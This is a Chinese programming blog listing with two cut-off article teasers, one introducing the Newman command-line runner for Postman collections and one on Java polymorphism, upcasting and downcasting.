newman newman是一款基于nodejs开发的可以运行postman脚本的工具&#xff0c;使用Newman&#xff0c;可以直接从命令运行和测试postman集合。 安装nodejs 下载地址&#xff1a;https://nodejs.org/en/download/ 选择自己系统相对应的版本内容进行下载&#xff0c;然后傻瓜式安…
暂无图片
编程学习 ·

Java面向对象之多态、向上转型和向下转型

文章目录前言一、多态二、引用类型之间的转换Ⅰ.向上转型Ⅱ.向下转型总结前言 今天继续Java面向对象的学习&#xff0c;学习面向对象的第三大特征&#xff1a;多态&#xff0c;了解多态的意义&#xff0c;以及两种引用类型之间的转换&#xff1a;向上转型、向下转型。  希望能…